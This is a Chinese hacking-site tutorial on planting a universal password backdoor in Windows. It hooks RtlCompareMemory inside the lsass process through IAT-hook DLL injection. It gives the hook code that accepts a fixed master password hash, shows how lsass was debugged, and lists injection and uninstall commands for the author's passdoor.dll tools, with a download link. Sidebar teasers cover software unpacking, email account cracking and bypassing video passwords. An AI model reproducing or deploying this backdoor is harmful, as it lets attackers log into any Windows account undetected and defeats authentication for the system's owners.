建站极客  
                        网络安全                          加密解密                          正文 
                     
                 
                
                    教你利用IAT hook实现windows通用密码后门                 
                
                    所属分类:
                        网络安全  / 加密解密                      
                    阅读数:
                        130 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                    先不管是不是真的有,我们可以自己实现一个这样的后门。
 
 先简单介绍一下windows登陆过程中的一些过程。
 winlogon进程用gina.dll获取用户名和密码,通过LPC传给lsass进程。
 然后lsass进程调用默认认证包msv1_0.dll来验证密码的对错。
 而msv1_0则从SAM中获得用户的信息,包括密码的哈希。
 
 要实现这样一个后门,首先要找到登陆验证这一系列函数的最底层的一个,然后在那里做手脚。
 很明显,这个最底层的函数在lsass进程的msv1_0.dll模块中。
 
 lsass调用msv1_0.dll的是这个函数:
 
 代码:
 msv1_0!LsaApLogonUserEx2
 
 LsaApLogonUserEx2 in MSDN
 
 那我们就应该调试lsass进程然后在msv1_0!LsaApLogonUserEx2下断点。
 这里我使用windbg和vmware并利用dbgsrv进行远程的用户态调试。
 http://blogs.msdn.com/spatdsg/archiv…27/507265.aspx
 上面Spat在blog中介绍了如何用dbgsrv调试(Debugging LSA via dbgsrv.exe)。
 在虚拟机(被调试端)运行
 
 代码:
 dbgsrv.exe -t tcp:port=1234,password=spat
 
 然后在调试端运行
 
 代码:
 windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
 
 然后选择附加lsass进程。
 但这里我们不能登陆之后再运行dbgsrv,那样dbgsrv就被关掉了,所以我利用windows的任务计划让dbgsrv开机就运行起来。
 
 虚拟机启动后,dbgsrv也起来了,然后用windbg连上并附上lsass进程。
 在下了断点msv1_0!LsaApLogonUserEx2后,让lsass继续运行。
 然后登陆,果然windbg断下来了。
 
 这个时候给大家介绍windbg的一个强劲的命令,那就是wt,它能所有的记录函数调用关系,一直记录到ret,具体用法请看windbg帮助。
 我猜wt是单步运行,所以很慢。
 但是wt输出的文本很多,太难看了,于是我写了个python脚本把wt的输出转成一个TreeCtrl
 
 大家注意看我鼠标点上的那个函数:ntdll!RtlCompareMemory。
 经过调试我发现这个函数就是我要找的那个“最底层的函数”。 
 
 代码:
 SIZE_T
   RtlCompareMemory(
     IN CONST VOID  *Source1,
     IN CONST VOID  *Source2,
     IN SIZE_T  Length
     );
 
 RtlCompareMemory in MSDN
 并且我还发现了验证密码时这个函数3个参数的细节,
 Source1是从SAM中取出的用户密码的Unicode形式的md4哈希,
 Source2是用户输入的密码的Unicode形式的md4哈希,
 Length总是16,因为md4的哈希就是16位。
 很容易我写出了下面这个替代的函数:
 
 代码:
 int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
     if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
         return 16;
     return pRtlCompareMemory(a, b, len);
 }
 
 其中pRtlCompareMemory是全局变量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密码的哈希。
 使用MyRtlCompareMemory来hook掉RtlCompareMemory,就可以实现预定的功能了。
 如果要比较的是16位的,并且第二段内存与我们的哈希一样那就直接放行,不管第一段内存是什么。
 也许有朋友会问,你这是hook了msv1_0模块内所有调用RtlCompareMemory的地方,不会出错吗?
 放心吧,哪有那么巧,要比较的是16位的而且第二段内存又和我们的哈希一模一样?
 
 要hook这个函数有很多方法,
 我选择了最懒的一种,IAT hook dll注入。
 于是我写了一个小工具来注入dll:DllInject
 
 代码:
 C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
 InjectDll v0.1
 Inject/UnInject a dll file to a process, by cly, at 20080522
 Usage:
     InjectDll.exe (-i | -u | -U) pid filename
     -i: Inject
     -u: UnInject once
     -U: UnInject at all
 
 passdoor.dll是要注入到lsass进程的dll,这个dll在DllMain中实现了IAT hook,很土的技术了,就不贴代码了,网上一搜一箩筐。
 
 然后我又写了一个小工具:pdconfig
 其实就是改passdoor.dll中的哈希,以免要换密码是又要重新编译passdoor.dll。
 
 使用方法:
 
 代码:
 InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll
 
 卸载方法:
 
 代码:
 InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll
 
 http://clyfish.googlepages.com/passdoor.rar
 这里是本文中相关工具的源码以及编译好的二进制文件。
 其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代码均使用MingW gcc4.2.1编译。
                                     
             
            
                
                Getright 5 手动脱壳和重建IAT--第二部分(图) 在本参考教程的第一部分我们学习了如何正确地转储(dump)Getright 5. 现在我们将要去找神奇跳转,这样IAT会被正确地转储下来,而不用手工修复了. 要完成这一点,我们需要打败程序中的一些陷阱, 并使它们即使在检测到被执行脱壳时也无所作为. 
让我们开始吧! 
第
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Getright 5 手动脱壳和重建IAT--第一部分(图) 这是一篇Armadillo加壳软件Getright 5.01的脱壳译文,我是参照Ricardo Narvaja的“Getright 5 脱壳和重建IAT”的文章以及Bighead[DFCG][YCG]的译文,一边实践一边再次翻译的。感谢Ricardo Narvaja和Bighea
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
黑客破解Email账号最常用的三种方法 电子邮件并不是安全的,在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱环节,恶意用户如果利用其漏洞,就能够轻易的破解出账号,获得邮件内容。
一、利用邮件服务器操作系统的漏洞
邮件服务器软件是运行在特定的操作系统上的,如Linux、Windows NT/20
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
黑客技术之slv unpackme 脱壳 其实壳本身不要紧,问题是vm里面有个校验。
sm同学手下留情,我勉强能搞一个运行正常的,没精力还原vm了。
在virutalfree的retn上f4, 直到[esp]是一个exe image内的地址f7返回:
0040FA91    B8 BE180000     m
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Allok Video to 3GP Converter 脱壳+破解(图) ①。
下载好安装后,用DIT查看为MoleBox 2.5.x.
-----------------------------------------------------------------------------
OD,载如RUN,程序完全运行后,ALT+M查看内存映
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
有密码 优酷视频 破解方法 优酷网站的视频可以设置独立的播放密码,不过你可知道:观看有密码的优酷视频其实不需要密码哦。下面讲述两种方法进行优酷视频密码破解的方法。 
优酷视频密码破解一: 
打开FLV解析网站,这里推荐使用该站点:http://www.flvcd.com,从浏览器地址栏复制需要解密的优酷
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
                 查看更多